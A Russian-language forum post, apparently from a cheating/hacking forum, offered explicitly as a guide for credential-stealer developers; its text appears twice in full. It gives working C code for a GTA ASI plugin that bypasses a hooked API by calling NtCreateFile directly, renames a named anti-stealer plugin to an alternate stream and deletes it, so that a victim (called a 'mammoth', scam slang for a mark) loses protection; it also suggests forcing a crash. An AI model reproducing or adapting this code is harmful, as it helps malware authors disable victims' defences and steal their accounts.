.KARELLI
07.10.2021, 12:06
Решил зайти на форум, посмотреть что тут нового, ничего нового не нашел, решил сделать какой-нибудь гайд интересный для разработчиков стиллеров
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
https://forum.antichat.xyz/attachments/27858219/
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">
https://forum.antichat.xyz/attachments/27858219/
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
C++:
UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
C++:
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
https://forum.antichat.xyz/attachments/27858219/
Далее видим что от антистиллера осталось лишь лог, вот и все
https://forum.antichat.xyz/attachments/27858219/
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра
В этом гайде мы напишем код на Си который будет удалять антистиллер(by DarkpP1xel) при входе в игру и рассмотрим минусы способа данного
Для данного способа нам понадобится:
1. NtCreateFile
2. SetFileInformationByHandle
С чего начнем? Аттачимся в gta, идем в ntdll и смотрим функцию NtCreateFile, на мое удивление хука тут нету, этим и воспользуемся
https://forum.antichat.xyz/attachments/27858219/
Дальше идем к NtSetInformationFile и видим хук, но он нам ничем не мешает
1633590029100.png.KARELLI · 7 Окт 2021 в 11:06' data-fancybox="lb-post-858219" data-lb-caption-extra-html="" data-lb-sidebar-href="" data-single-image="1" data-src="https://www.blast.hk/attachments/117076/" style="cursor: pointer;" title="1633590029100.png">
https://forum.antichat.xyz/attachments/27858219/
Информация на руках, осталось написать asi плагин
Получим адрес NtCreateFile, получим текущую директорию и скрафтим путь
C:
NTSTATUS
(
__stdcall
*
NtCreateFile
)
(
PHANDLE
,
ACCESS_MASK
,
POBJECT_ATTRIBUTES
,
PIO_STATUS_BLOCK
,
PLARGE_INTEGER
,
ULONG
,
ULONG
,
ULONG
,
ULONG
,
PVOID
,
ULONG
)
;
*
(
FARPROC
*
)
&
NtCreateFile
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll"
)
,
"NtCreateFile"
)
;
wchar_t szPath
[
MAX_PATH
*
2
]
=
L
"\\??\\"
;
GetCurrentDirectoryW
(
(
MAX_PATH
*
2
)
,
&
szPath
[
4
]
)
;
lstrcatW
(
szPath
,
L
"\\!0AntiStealerByDarkP1xel32.ASI"
)
;
Вручную заполним UNICODE_STRING, откроем антистиллер с флагом DELETE и получим хендл
C++:
UNICODE_STRING uFilePath
;
uFilePath
.
Buffer
=
szPath
;
uFilePath
.
Length
=
lstrlenW
(
szPath
)
*
sizeof
(
wchar_t
)
;
uFilePath
.
MaximumLength
=
uFilePath
.
Length
+
2
;
IO_STATUS_BLOCK IoStatusBlock
;
OBJECT_ATTRIBUTES FileObjectAttributes
;
InitializeObjectAttributes
(
&
FileObjectAttributes
,
&
uFilePath
,
OBJ_CASE_INSENSITIVE
,
NULL
,
NULL
)
;
HANDLE hFile
=
NULL
;
NTSTATUS NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
Проверим получилось ли и переименовываем, далее повторно получаем хендл и удаляем антистиллер следующим методом:
C++:
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_RENAME_INFO fRenameInfo
;
memset
(
&
fRenameInfo
,
0
,
sizeof
(
fRenameInfo
)
)
;
fRenameInfo
.
FileNameLength
=
4
;
memcpy
(
fRenameInfo
.
FileName
,
L
":x"
,
4
)
;
if
(
SetFileInformationByHandle
(
hFile
,
FileRenameInfo
,
&
fRenameInfo
,
sizeof
(
fRenameInfo
)
+
4
)
)
{
CloseHandle
(
hFile
)
;
NtStatus
=
NtCreateFile
(
&
hFile
,
DELETE
,
&
FileObjectAttributes
,
&
IoStatusBlock
,
0
,
FILE_ATTRIBUTE_NORMAL
,
NULL
,
FILE_OPEN
,
NULL
,
NULL
,
0
)
;
if
(
NT_SUCCESS
(
NtStatus
)
)
{
FILE_DISPOSITION_INFO fDispositionInfo
;
memset
(
&
fDispositionInfo
,
0
,
sizeof
(
fDispositionInfo
)
)
;
fDispositionInfo
.
DeleteFileW
=
1
;
SetFileInformationByHandle
(
hFile
,
FileDispositionInfo
,
&
fDispositionInfo
,
sizeof
(
fDispositionInfo
)
)
;
}
;
}
;
CloseHandle
(
hFile
)
;
}
;
Компилируем плагин.
Помещаем антистиллер в папку с игрой и кидаем туда наш плагин и заходим в игру
https://forum.antichat.xyz/attachments/27858219/
Далее видим что от антистиллера осталось лишь лог, вот и все
https://forum.antichat.xyz/attachments/27858219/
Из минусов я хочу отметить лишь то, что антистиллер по прежнему останется в игре, пока мамонт не перезайдет в игру, но это не такой весомый минус, никто не запрещает целенапревленно вызвать краш
Всем добра